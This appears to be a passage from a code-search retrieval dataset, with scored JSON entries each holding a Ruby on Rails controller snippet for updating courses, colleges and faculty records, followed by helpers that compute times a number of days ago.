"score": "0.6351278", "text": "def update\n\t\n\t# need to create the course if it's not already there\n\t\n @teaching_course = TeachingCourse.find(params[:id])\n\n respond_to do |format|\n if @teaching_course.update_attributes(params[:teaching_course])\n format.html { redirect_to @teaching_course, notice: 'Teaching course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @teaching_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20d3bf568eb6810175c51e1eccfde2e1", "score": "0.63345075", "text": "def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to [:accounts, @course], notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b4e2f7b276dae3388a48a8db5f036d1", "score": "0.6328588", "text": "def set_faculty\n @faculty = Faculty.find(params[:id])\n authorize @faculty\n end", "title": "" }, { "docid": "edf9dbd98c3b574ed09d133e50069085", "score": "0.63258266", "text": "def update\n respond_to do |format|\n if @assignment.update(assignment_params)\n format.html { redirect_to professors_course_assignments_path(course: @course), notice: 'Assignment was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "f83c4995a06f09bf7a4c235361792a30", "score": "0.6315239", "text": "def edit\n puts params[:section_id]\n redirect_to :controller => \"grader_assignment\", :action => \"index\"\n # section = GraderSection.find_by course_id: params[:course], section_id: params[:section], grader_id: params[:id]\n # if params[:accepted] then\n # section.status = :accepted\n # else\n # section.status = :rejected\n # end\n # section.save\n end", "title": "" }, { "docid": "43526d73c3a2e2197d29d33d3dadf1eb", "score": "0.6310611", "text": "def update\n authorize_action_for @course\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to course_lectures_path(@course), notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96f9027d3ff4882cc4ca05ac9125f0e6", "score": "0.63053125", "text": "def redirect_to_assignment_edit(assignment_id)\n redirect_to controller: 'assignments', action: 'edit', id: assignment_id\n end", "title": "" }, { "docid": "31f6ef7be18d7eafe1814ad213db3daf", "score": "0.6291795", "text": "def update\n @user = User.find(params[:id])\n @faculties = Faculty.all.collect { |faculty| [faculty.name, faculty.id] } \n \n if @user.update_attributes(params[:user])\n flash[:success] = \"Profile updated\"\n sign_in @user\n redirect_to @user\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "992d7cb8d422d5334056f982004061db", "score": "0.6286681", "text": "def update\n if @course.update_attributes(course_params)\n flash[:success] = \"Course updated!\"\n redirect_to course_path(@course)\n else\n render 'edit'\n end\n end", "title": "" }, { "docid": "a0742ffe151ba85229a15157f6f1ad6c", "score": "0.62814665", "text": "def update\n course = Course.find(params[:id])\n\t\tcourse.name = params[:name]\n\t\tcourse.location = params[:location]\n\t\tcourse.description = params[:description]\n\t\tcourse.save\n\t\tredirect_to '/courses'\n\tend", "title": "" }, { "docid": "f8ecdbe7e7562ffe58afd63c3c988a3e", "score": "0.6278823", "text": "def update\n @course = Portal::Course.find(params[:id])\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (found instance)\n # authorize @course\n\n respond_to do |format|\n if @course.update(portal_course_strong_params(params[:portal_course]))\n flash['notice'] = 'Portal::Course was successfully updated.'\n format.html { redirect_to(@course) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "396798c7899336bdc3fc092441ff0182", "score": "0.62665415", "text": "def update\n respond_to do |format|\n if @completed_course.update(completed_course_params)\n format.html {redirect_to @completed_course, notice: 'Completed course was successfully updated.'}\n format.json {render :show, status: :ok, location: @completed_course}\n else\n format.html {render :edit}\n format.json {render json: @completed_course.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "c7cd1d56362d49ab877a7c9029d7988c", "score": "0.6261885", "text": "def update\r\n @usercourse = Usercourse.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @usercourse.update_attributes(params[:usercourse])\r\n format.html { redirect_to courses_by_saadhaka_path(@usercourse.user_id), notice: 'Usercourse was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @usercourse.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "58f11bf169ac1d7fc59c22d3536a2bac", "score": "0.62594295", "text": "def update\n\t\t@professor = Professor.find(params[:id])\n\n\t\tif @professor.update(professor_params)\n\t\t\tredirect_to @professor\n\t\telse\n\t\t\trender 'edit'\n\t\tend\n\tend", "title": "" }, { "docid": "52a62013938f744987e91d5c50ebaaac", "score": "0.6255549", "text": "def update\n\t\tif @complaint.update(complaint_params)\n\t\t\tflash[:success] = \"Updation is successful\"\n\t\t\tredirect_to complaints_path\n\t\telse\n\t\t\tflash[:danger] = \"Error while updating complaint\"\n\t\t\trender :edit\n\t\tend\n\tend", "title": "" }, { "docid": "31e7d5cab91a03f7e35c8e24fe6d0062", "score": "0.6255334", "text": "def update\n \n if @college.update(college_params)\n format.html { redirect_to admin_college_path(@college), notice: 'College was successfully updated.' }\n else\n render action: 'edit' \n end\n end", "title": "" }, { "docid": "f19b168e8cb0594a54ca1dcf0e8322d1", "score": "0.62510055", "text": "def update\n@lecture= Lecture.find(params[:id])\n if [email protected]\n respond_to do |format|\n @courses = Course.where(:user_id => current_user.id );\n if @lecture.update(lecture_params)\n format.html { redirect_to @lecture, notice: 'Lecture was successfully updated.' }\n format.json { render :show, status: :ok, location: @lecture }\n else\n format.html { render :edit }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\nelse\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'lecture cant be updated.' }\n format.json { head :no_content }\nend\n end\n \nend", "title": "" }, { "docid": "698f1db4b812b6cae7634296045dc774", "score": "0.6249754", "text": "def update\n @academic = Academic.find(params[:id])\n\n respond_to do |format|\n if @academic.update_attributes(params[:academic])\n redirect_to(@academic)\n flash[:notice] ='Academic was successfully updated.'\n format.json { head :no_content }\n else\n render :file => \"/academics/edit\"\n end\n end\n end", "title": "" }, { "docid": "59b4cbf2e0b3d6f9004ba2dc11b7c72c", "score": "0.62460047", "text": "def update\n @course.update(postparam)\n @courses ||= Course.all\n flash[:notice] = t('course_updated')\n end", "title": "" }, { "docid": "00c63299d2b5a37cd724973a7b682fd1", "score": "0.62363476", "text": "def tutor_profile_update\n @course_ids = params[:course][:id].map(&:to_i)\n @tutor_courses = TutorCourse.where(tutor_id: current_user.id)\n\n for tutor_course in @tutor_courses\n if @course_ids.include? tutor_course.course_id #true\n @course_ids.delete(tutor_course.course_id)\n else #false => delete the row\n TutorCourse.find(tutor_course.id).destroy\n end\n end\n\n for course_id in @course_ids\n TutorCourse.create(tutor_id: current_user.id, course_id: course_id)\n end\n\n #redirect_to tutor_index_path #want to redirect to tutor_profile!!\n #MANSUR CODE\n respond_to do |format|\n format.js {redirect_to '/tutor/tutor_profile'}\n end\n #MANSUR CODE end\n\n end", "title": "" }, { "docid": "3a930e98a75f3724c1fc15db5521c465", "score": "0.62288845", "text": "def update_choice\n redirect_to (\"/admin/people/#{params[\"id\"]}/edit\")\n end", "title": "" }, { "docid": "4031c71e2e4d45d8dd489de051e8be4c", "score": "0.6223329", "text": "def update_university\n semester = Semester.find_by_university_id_and_active(params[:uni], true)\n return render :status => 404, :text => \"University is not valid\" unless semester\n\n @user.update_attributes(:semester_id => semester.id)\n @user.save\n # Delete any saved courses. Resets user information\n UserCourse.where(:user_id => @user.id).each do |c|\n c.destroy\n end\n redirect_to schedule_url\n end", "title": "" }, { "docid": "76f3f036620faee99c324b8b14ac7384", "score": "0.6218513", "text": "def update\n @course = Course.find(params[:id])\n \n if @course.update(course_params)\n redirect_to action: :index, notice: 'Course was successfully updated.'\n else\n render :edit\n end\n end", "title": "" }, { "docid": "ad3f14861d049c310264190b6212915e", "score": "0.6214193", "text": "def update\n authorize @college\n respond_to do |format|\n if @college.update(college_params)\n format.html { redirect_to staff_college_path(@college), notice: 'College was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "7765848df7744b4d647891835b1cd426", "score": "0.62136155", "text": "def edit\n\t @courses = Course.find(params[:id])\n course = Course.find(params[:id])\n\t\tcourse.name = params[:name]\n\t\tcourse.location = params[:location]\n\t\tcourse.description = params[:description]\n\t\tcourse.save\n\t\tredirect_to '/courses'\n\tend", "title": "" }, { "docid": "a700856417dcfde006a419863d93ff93", "score": "0.6210746", "text": "def update\n\tif user_signed_in?\n\t\tif current_user.role_id == 1|| current_user.role_id == 2\n\t\t\t@facility = Facility.find(params[:id])\n\n\t\t\trespond_to do |format|\n\t\t\t if @facility.update_attributes(params[:facility])\n\t\t\t\tformat.html { redirect_to @facility, notice: 'Facility was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\t else\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @facility.errors, status: :unprocessable_entity }\n\t\t\t end\n\t\t\tend\n\t\telse\n\t\t\tflash[:notice] = \"You don't have access to do that\"\n\t\t\tredirect_to :controller=>'facilities', :action => 'index'\n\t\tend\n\telse\n\t\tflash[:notice] = \"You don't have access to do that\"\n\t\tredirect_to :controller=>'home', :action => 'index'\n\tend\n end", "title": "" }, { "docid": "af91c2cca8d1bd30941afd0de9f58c02", "score": "0.62099546", "text": "def update\n @lab = @course.labs.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(allowed_params)\n # if the lab's course has changed (it's been moved) then it needs to \n # be reloaded to report the correct course for redirection below\n @lab.reload \n \n @status = admin_course_lab_url(@lab.course,@lab)\n flash[:notice] = 'Lab was successfully updated.'\n format.html { redirect_to([:admin,@lab.course,@lab]) }\n format.xml { head :ok }\n else\n @status = \"failed\"\n format.html { render action: \"edit\" }\n format.xml { render xml: @lab.errors, status: :unprocessable_entity }\n end\n format.js\n end\n end", "title": "" }, { "docid": "33c454d5a15a214be2d281174cabcc22", "score": "0.6203706", "text": "def update\n @course = current_user.courses.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to(@course, :notice => 'Course was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7984dd9c1fa6c3e70f640dcf657f1162", "score": "0.6200216", "text": "def update\n # respond_to do |format|\n if @course.update(course_params)\n # format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n # format.json { head :no_content }\n redirect_to @course, notice: 'Course was successfully updated.' #TODO THIS IS IN AJAX\n else\n # format.html { render action: 'edit' }\n # format.json { render json: @course.errors, status: :unprocessable_entity }\n render action: 'edit' #TODO THIS IS IN AJAX TOO\n end\n end", "title": "" }, { "docid": "ec5e97ac345675e93cf8736f15ca26bc", "score": "0.61882704", "text": "def create\n @faculty_course = FacultyCourse.new(faculty_course_params)\n\n respond_to do |format|\n if @faculty_course.save\n format.html { redirect_to @faculty_course, notice: 'Faculty assignment was successfully created.' }\n format.json { render :show, status: :created, location: @faculty_course }\n else\n format.html { render :new }\n format.json { render json: @faculty_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d461127b2586da51bc93621069ae8c3", "score": "0.61878824", "text": "def update\n @course = Course.find(params[:id])\n if @course.course_review.status == 1\n render :js => %(show_warning('编辑课程失败', '课程已审核通过,无法更改'))\n return\n end\n if @course.course_review.status == -1\n @course.course_review.status = 0\n end\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: '课程申请已更新' }\n format.js { redirect_to @course, :remote => true }\n else\n @fields = Field.get_available_fields(@course.date, @course.idx, @course.id)\n format.html { render action: 'edit' }\n format.js { render action: 'edit' }\n end\n end\n end", "title": "" }, { "docid": "5169d60eb0e8d698663beda4abcae17e", "score": "0.61859834", "text": "def update\n @college = College.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @college.update_attributes(params[:college])\n format.html { redirect_to(@college, :notice => 'College was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @college.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c73e9fdeb987d3f30984ab9ea6ef53e3", "score": "0.6184512", "text": "def create\n session[:course_params].deep_merge!(params[:course]) if params[:course]\n @course = Course.new(session[:course_params])\n @course.facilitators << current_user\n @course.current_step = session[:course_step]\n if @course.valid?\n if params[:previous_button]\n @course.previous_step\n elsif @course.last_step?\n if @course.all_valid?\n @course.pending = true\n @course.has_syl = false\n @course.has_cpf = false\n @course.save\n end\n else\n @course.next_step\n end\n session[:course_step] = @course.current_step\n end\n if @course.new_record?\n render 'new'\n else\n session[:course_step] = session[:course_params] = nil\n flash[:notice] = \"Course successfully requested. Please submit your CPF and Syllabus in order to get course approved by admin.\"\n # i really dunno why but have to do it non-RESTFUL redirect because of rspec\n # sorry for bad form\n redirect_to(\"/courses/#{@course.id}\")\n end\n end", "title": "" }, { "docid": "d76d25f247757a34d4077246ec12f43e", "score": "0.61809665", "text": "def set_faculty\n @account = Account.faculty.find(params[:id])\n end", "title": "" }, { "docid": "cdecbee101e2a81dd9c279447ce2c632", "score": "0.61749846", "text": "def update\n @facultytitle = Facultytitle.find(params[:id])\n\n respond_to do |format|\n if @facultytitle.update_attributes(params[:facultytitle])\n format.html { redirect_to facultytitles_path, notice: 'Faculty title was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @facultytitle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4b1c46ded9f6117b3bc8a34664fc3aa", "score": "0.61686206", "text": "def edit\n # only an instructor should be able to edit an assignment\n if not instructor_signed_in?\n redirect_to root_path\n return\n end\n @instructor = current_instructor\n @courses = @instructor.courses\n @assignment = Assignment.find(params[:id])\n end", "title": "" }, { "docid": "d0895584e400977e6ffbdebc84d34c1d", "score": "0.61666256", "text": "def update\n \n @course = Course.find_by_id(params[:id])\n @instructor = @course.instructor\n \n if params[:archived]\n posit = @instructor.courses.where(:archived => params[:archived]).count + 1\n @course.archived = params[:archived]\n @course.position = posit\n @course.save\n @ujsNotice = \"Course has been moved to #{current_drop_tab.to_s} tab.\"\n render \"update\"\n \n elsif params[:commit] && params[:commit] != \"Cancel\"\n if @course.update_attributes(params[:course])\n @ujsNotice = \"Course was successfully updated.\"\n @ujsAlert = nil\n render \"update\"\n else\n @ujsNotice = nil\n @ujsAlert = @course.errors.full_messages.first\n render \"edit\"\n end\n else\n @ujsNotice = \"Update course action was canceled.\"\n @ujsAlert = nil\n render \"cancel\"\n end\n end", "title": "" }, { "docid": "7bb7b1ab598a99815cea98a666dd4eb5", "score": "0.6165283", "text": "def set_college_profile\n @college_profile = CollegeProfile.find(params[:id])\n if not @college_profile.user_id==current_user.id\n redirect_to root_path\n end\n\n end", "title": "" } ]
103edc36b5e73f7b97498b7e39f97b46
Returns a new time the specified number of days ago. source://activesupport//lib/active_support/core_ext/time/calculations.rb336
[ { "docid": "033f674a24921008a096210547ede17e", "score": "0.0", "text": "def prev_day(days = T.unsafe(nil)); end", "title": "" } ]
[ { "docid": "4780b3fc7bc5ee8172ede58cde310a93", "score": "0.72658277", "text": "def days_ago(days)\n Time.now - (days * 24 * 60 * 60)\n end", "title": "" }, { "docid": "5ab6d1564030dddfa9fd7dd1f1fbeef7", "score": "0.7213562", "text": "def days_ago(days)\n advance(:days => -days)\n end", "title": "" }, { "docid": "03c5f06378998961f59d2154760a732c", "score": "0.71551126", "text": "def days_ago(days); end", "title": "" }, { "docid": "03c5f06378998961f59d2154760a732c", "score": "0.71551126", "text": "def days_ago(days); end", "title": "" }, { "docid": "cc7ab0dda09e58e9414ac38d55d72e8c", "score": "0.7131202", "text": "def ago\n # Subtract the Integer from Time.new\n Time.new - self\n end", "title": "" }, { "docid": "4941715b6c8eda36a0e7644425cc8269", "score": "0.7117052", "text": "def days_ago(days)\n ago(days.days)\n end", "title": "" }, { "docid": "65d91faeb11065e96c27d7bf1857e937", "score": "0.7054701", "text": "def days_ago_as_time days\n ActiveSupport::TestCase.current_time.ago(days.days)\nend", "title": "" }, { "docid": "e9d191cf02012d7699b9d7fc0ccaea74", "score": "0.69809955", "text": "def thirty_days_ago\n date_in_sec = Time.now - Time.at(2629743)\n return Time.at(date_in_sec)\n end", "title": "" }, { "docid": "b548257df3fc7148aeb16416e3cb5290", "score": "0.69128066", "text": "def ago t = Time.now\n t - self\n end", "title": "" }, { "docid": "b31318cef1487b04a8b0e2732e4ad219", "score": "0.6883403", "text": "def ago\n Time.now - to_i\n end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "b568fe76bcae5317ba28bc0cd2ca2639", "score": "0.6868229", "text": "def ago(seconds); end", "title": "" }, { "docid": "84a48beee58e8d9006258a3f25f041d3", "score": "0.6829713", "text": "def ago(time = ::Time.now)\n time - self\n end", "title": "" }, { "docid": "84a48beee58e8d9006258a3f25f041d3", "score": "0.6829713", "text": "def ago(time = ::Time.now)\n time - self\n end", "title": "" }, { "docid": "a0c8243f67de6ac5d31f1abf5cbbc211", "score": "0.68268466", "text": "def days_ago\r\n (self <=> Time.now) < 1 ? (Time.now - self) / 86400 : 0\r\n end", "title": "" }, { "docid": "839e71f13f8b16ea2570a78d0a43ab7c", "score": "0.68143535", "text": "def ago\n Time.at(Time.now.to_i - @seconds).utc\n end", "title": "" }, { "docid": "b1183a1618017a7d5f59e26353f86a4c", "score": "0.67656237", "text": "def one_eighty_days_ago\n date_in_sec = Time.now - Time.at(15578458)\n return Time.at(date_in_sec)\n end", "title": "" }, { "docid": "c6028ea02b2e74e26646a46027b83787", "score": "0.6762458", "text": "def ago(seconds)\r\n to_time.since(-seconds)\r\n end", "title": "" }, { "docid": "5ce54eb6d6d5310fa393f20d04b6a23b", "score": "0.6733183", "text": "def ago time = ::Time.now\n time - self\n end", "title": "" }, { "docid": "ebd0e13121daa28eb776cd961c21b3b4", "score": "0.67263585", "text": "def ago(seconds)\n since(-seconds)\n end", "title": "" }, { "docid": "ebd0e13121daa28eb776cd961c21b3b4", "score": "0.67263585", "text": "def ago(seconds)\n since(-seconds)\n end", "title": "" }, { "docid": "ebd0e13121daa28eb776cd961c21b3b4", "score": "0.67263585", "text": "def ago(seconds)\n since(-seconds)\n end", "title": "" }, { "docid": "388407e47f18c54ff2d9726b7ac938fe", "score": "0.6718502", "text": "def ago t = Time.now\n t - self\n end", "title": "" }, { "docid": "4809c126560a2d1ac91fe2bb558ca86e", "score": "0.6693751", "text": "def since(seconds)\n self + Rational(seconds, 86400)\n end", "title": "" }, { "docid": "f5a089077aa3cb3e0979c9477082d385", "score": "0.6681028", "text": "def time_from_now date\n if date\n # if the + is missing\n unless date.include? '+'\n date.insert(21, '+')\n end\n date = DateTime.parse date\n now = DateTime.now.new_offset(0)\n t = ((now - date) * 24 * 60 * 60).to_i\n mm, ss = t.divmod(60)\n hh, mm = mm.divmod(60)\n dd, hh = hh.divmod(24)\n if dd.positive?\n date = \"#{dd} days #{hh} hours ago\"\n elsif hh.positive?\n date = \"#{hh} hours #{mm} min ago\"\n else\n date = \"#{mm} min #{ss} sec ago\"\n end\n end\n date\n end", "title": "" }, { "docid": "14325bd7faef82b4355d0d130c772c1f", "score": "0.6665576", "text": "def getPreviousDate()\n time = Time.new\n \n #Substract 172800 from time to get date 2 days ago\n time = time - 172800 \n ascTime = time.strftime(\"%Y-%m-%d\")\n return ascTime\n end", "title": "" }, { "docid": "a0e8f79ffa24937e2b124122c98ec23b", "score": "0.6656387", "text": "def ninety_days_ago\n date_in_sec = Time.now - Time.at(7789229)\n return Time.at(date_in_sec)\n end", "title": "" }, { "docid": "73608c6769efc24c489b643fd911e125", "score": "0.65821576", "text": "def since(seconds)\n self + Rational(seconds.round, 86400)\n end", "title": "" }, { "docid": "73608c6769efc24c489b643fd911e125", "score": "0.65821576", "text": "def since(seconds)\n self + Rational(seconds.round, 86400)\n end", "title": "" }, { "docid": "d869484f9c1c990dd33e9581e801b800", "score": "0.6541418", "text": "def ago(seconds)\n in_time_zone.since(-seconds)\n end", "title": "" }, { "docid": "d869484f9c1c990dd33e9581e801b800", "score": "0.6541418", "text": "def ago(seconds)\n in_time_zone.since(-seconds)\n end", "title": "" }, { "docid": "d091d17dd0652570a93b2f39d02323ba", "score": "0.6518948", "text": "def ago\n Time.now - self\n end", "title": "" }, { "docid": "7b0320907ef25b5429d0229a6935e424", "score": "0.6516427", "text": "def days_since(days)\n advance(:days => days)\n end", "title": "" }, { "docid": "8f37603ac498961e742e13b23aac69fb", "score": "0.6493487", "text": "def ago\n Time.now - self\n end", "title": "" }, { "docid": "d169d6423a670dd191281d8b97d83c59", "score": "0.64843744", "text": "def days_since(days); end", "title": "" }, { "docid": "d169d6423a670dd191281d8b97d83c59", "score": "0.64843744", "text": "def days_since(days); end", "title": "" }, { "docid": "cbcc040cc4c9aaff2db6336075702242", "score": "0.6478581", "text": "def minus_seconds(secs)\n # self - (secs / 1.day.to_i)\n self.ago(secs)\n end", "title": "" }, { "docid": "ebcbfdfddf7ecf37794c67d976d64a4a", "score": "0.6465264", "text": "def ago(time = ::Time.current)\n sum(-1, time)\n end", "title": "" }, { "docid": "ebcbfdfddf7ecf37794c67d976d64a4a", "score": "0.6465264", "text": "def ago(time = ::Time.current)\n sum(-1, time)\n end", "title": "" }, { "docid": "12f37560f55536b403380eb8b2debb58", "score": "0.64165235", "text": "def timeago(original, options = {})\n start_date = options.delete(:start_date) || Time.now\n later = options.delete(:later) || false\n round = options.delete(:round) || 7\n max_seconds = options.delete(:max_seconds) || 32556926\n date_format = options.delete(:date_format) || :default\n\n # array of time period chunks\n chunks = [\n [60 * 60 * 24 * 365 , \"year\"],\n\n [60 * 60 * 24 * 30 , \"month\"],\n [60 * 60 * 24 * 7, \"week\"],\n [60 * 60 * 24 , \"day\"],\n [60 * 60 , \"hour\"],\n [60 , \"minute\"],\n [1 , \"second\"]\n ]\n\n if later\n since = original.to_i - start_date.to_i\n else\n since = start_date.to_i - original.to_i\n end\n time = []\n\n if since < max_seconds\n # Loop trough all the chunks\n totaltime = 0\n\n for chunk in chunks[0..round]\n seconds = chunk[0]\n name = chunk[1]\n\n count = ((since - totaltime) / seconds).floor\n time << pluralize(count, name) unless count == 0\n\n totaltime += count * seconds\n end\n\n if time.empty?\n \"less than a #{chunks[round-1][1]} ago\"\n else\n \"#{time.join(', ')} #{later ? 'later' : 'ago'}\"\n end\n else\n original.to_formatted_s(date_format)\n end\n end", "title": "" }, { "docid": "efa9f29d77bbc3a02099ba395ccd2b73", "score": "0.6412792", "text": "def ago\n self.before(Time.now)\n end", "title": "" }, { "docid": "76b4f3cb2b88e73183107bc167b4fc7e", "score": "0.6408021", "text": "def ago(time = ::Time.now)\n time - self\n end", "title": "" }, { "docid": "cd353bf2d5836f170dbd86d7bbb5f54e", "score": "0.64022666", "text": "def three_sixty_days_ago\n date_in_sec = Time.now - Time.at(31156916)\n return Time.at(date_in_sec)\n end", "title": "" }, { "docid": "28642dc8da28be40cbfc8bb077e481c5", "score": "0.6399043", "text": "def time_ago(options={})\n start_date = options.delete(:start_date) || Time.new\n date_format = options.delete(:date_format) || :default\n delta_minutes = (start_date.to_i-self.to_i).floor / 60\n if delta_minutes.abs <= (8724*60) # eight weeks… I’m lazy to count days for longer than that\n distance = distance_of_time_in_words(delta_minutes);\n if delta_minutes < 0\n \"#{distance} from now\"\n else\n \"#{distance} ago\"\n end\n else\n return \"on #{self.short_date}\"\n end\n end", "title": "" }, { "docid": "ec96ae60169e17735b042e254915cdee", "score": "0.6392467", "text": "def time_ago(original, options = {})\n start_date = options.delete(:start_date) || Time.now\n later = options.delete(:later) || false\n round = options.delete(:round) || 7\n max_seconds = options.delete(:max_seconds) || 32556926\n date_format = options.delete(:date_format) || :default\n\n # array of time period chunks\n chunks = [\n [60 * 60 * 24 * 365 , \"Jahr\", 'Jahren'],\n [60 * 60 * 24 * 30 , \"Monat\", 'Monaten'],\n [60 * 60 * 24 * 7, \"Woche\", 'Wochen'],\n [60 * 60 * 24 , \"Tag\", 'Tagen'],\n [60 * 60 , \"Stunde\", 'Stunden'],\n [60 , \"Minute\", 'Minuten'],\n [1 , \"Sekunde\", 'Sekunden']\n ]\n\n if later\n since = original.to_i - start_date.to_i\n else\n since = start_date.to_i - original.to_i\n end\n time = []\n\n if since < max_seconds\n # Loop trough all the chunks\n totaltime = 0\n\n for chunk in chunks[0..round]\n seconds = chunk[0]\n count = ((since - totaltime) / seconds).floor\n name = chunk[1] if count == 1\n name = chunk[2] if count > 1\n\n# time << pluralize(count, name) unless count == 0\n time << (count.to_s + ' ' + name) unless count == 0\n\n totaltime += count * seconds\n end\n\n if time.empty?\n options[:format_less].gsub('%d', '1 ' << chunks[round-1][1])\n else\n# \"#{time.join(', ')} #{later ? 'later' : 'ago'}\"\n options[:format].gsub('%d',time[0..1].join(', '))\n end\n else\n original.to_formatted_s(date_format)\n end\nend", "title": "" }, { "docid": "0c5d752eab10226633ca56a6b579fdf1", "score": "0.6336851", "text": "def time_ago(before)\n time_between(before, Time.now)\n end", "title": "" }, { "docid": "a7961a27e44e7afc0b054a6c1921a630", "score": "0.63304377", "text": "def ago\n\t\tTime.now - self\n\tend", "title": "" }, { "docid": "c234b8a20241c5a6f5b4ffdc8a65e6f2", "score": "0.6295217", "text": "def ago(time = VoltTime.now)\n sum(-1, time)\n end", "title": "" }, { "docid": "9ffc5a9e6bfdc27804a9285f85d787bd", "score": "0.6291173", "text": "def days_ago(created_at)\n \t( (Time.now - created_at.to_time) / 60 / 60 / 24 ).round\n end", "title": "" }, { "docid": "04920b5cad69cae8f6ad60baf6039b97", "score": "0.62604725", "text": "def one_day_ago\n return Time.now - 24 * one_hour\n end", "title": "" }, { "docid": "04920b5cad69cae8f6ad60baf6039b97", "score": "0.62604725", "text": "def one_day_ago\n return Time.now - 24 * one_hour\n end", "title": "" }, { "docid": "f6a275f92d3771330f9d924a9daad2cb", "score": "0.624669", "text": "def remaining_days\n (DateTime.parse(target_date) - DateTime.now).to_i\n end", "title": "" }, { "docid": "a5ce8ad8d9365ad7d725e69e107c4e8d", "score": "0.6234804", "text": "def get_remaining_days\n ((self.created_at.to_date + self.expires_at.to_i) - Date.today).to_i\n end", "title": "" }, { "docid": "955472ba5c9984b728f35c2c3c061bbd", "score": "0.6216403", "text": "def days_ago(time)\n distance = ((Time.now - time) / (24*60*60)).floor\n end", "title": "" }, { "docid": "670e81822d7345178a9f72c03736b946", "score": "0.6179246", "text": "def time_ago( str )\n # convert the given date to seconds-since-epoch\n past = Time.parse(str).to_i\n\n # convert the current date to seconds-since-epoch\n now = Time.now.to_i\n\n # Calculate the time-different in seconds.\n seconds = now - past\n\n # format that\n seconds_to_ago( seconds )\n end", "title": "" }, { "docid": "1a7d97af7494bbfb1c185ea8b12bdd76", "score": "0.6175843", "text": "def time_ago_in_seconds(x)\n DateTime.now.strftime(\"%s\").to_i - DateTime.parse(x).strftime(\"%s\").to_i\n end", "title": "" }, { "docid": "f40057dc424c5ed05bacf50b3fd20ab1", "score": "0.6174905", "text": "def timeago(time, options = {})\n start_date = options.delete(:start_date) || Time.new\n date_format = options.delete(:date_format) || :default\n delta_minutes = (start_date.to_i - time.to_i).floor / 60\n if delta_minutes.abs <= (8724*60) # eight weeks… I’m lazy to count days for longer than that\n distance = distance_of_time_in_words(delta_minutes);\n if delta_minutes < 0\n \"#{distance} from now\"\n else\n \"#{distance} ago\"\n end\n else\n return \"on #{system_date.to_formatted_s(date_format)}\"\n end\n end", "title": "" }, { "docid": "8bb64bcba48715789751a48cc881490c", "score": "0.6174489", "text": "def to_time_ago\n secs = to_i\n mins = secs / 60\n hours = mins / 60\n days = hours / 24\n buffer = ''\n if days > 0\n buffer << \"#{days} #{'day'.pluralize(days)}\"\n elsif hours > 0\n buffer << \"#{hours} #{'hour'.pluralize(hours)}\"\n elsif mins > 0\n buffer << \"#{mins} #{'minute'.pluralize(mins)}\"\n elsif secs >= 0\n buffer << \"less than a minute\"\n end\n buffer << ' ago'\n end", "title": "" }, { "docid": "8d22ecff5c6b36ad0e82c82cf97b26b1", "score": "0.61731756", "text": "def timeago(time, options = {})\n start_date = options.delete(:start_date) || Time.new\n date_format = options.delete(:date_format) || :default\n delta_minutes = (start_date.to_i - time.to_i).floor / 60\n if delta_minutes.abs <= (8724*60) # eight weeks… I’m lazy to count days for longer than that\n distance = distance_of_time_in_words(delta_minutes);\n if delta_minutes < 0\n distance\n else\n \"#{distance} ago\"\n end\n else\n return \"on #{system_date.to_formatted_s(date_format)}\"\n end\n end", "title": "" }, { "docid": 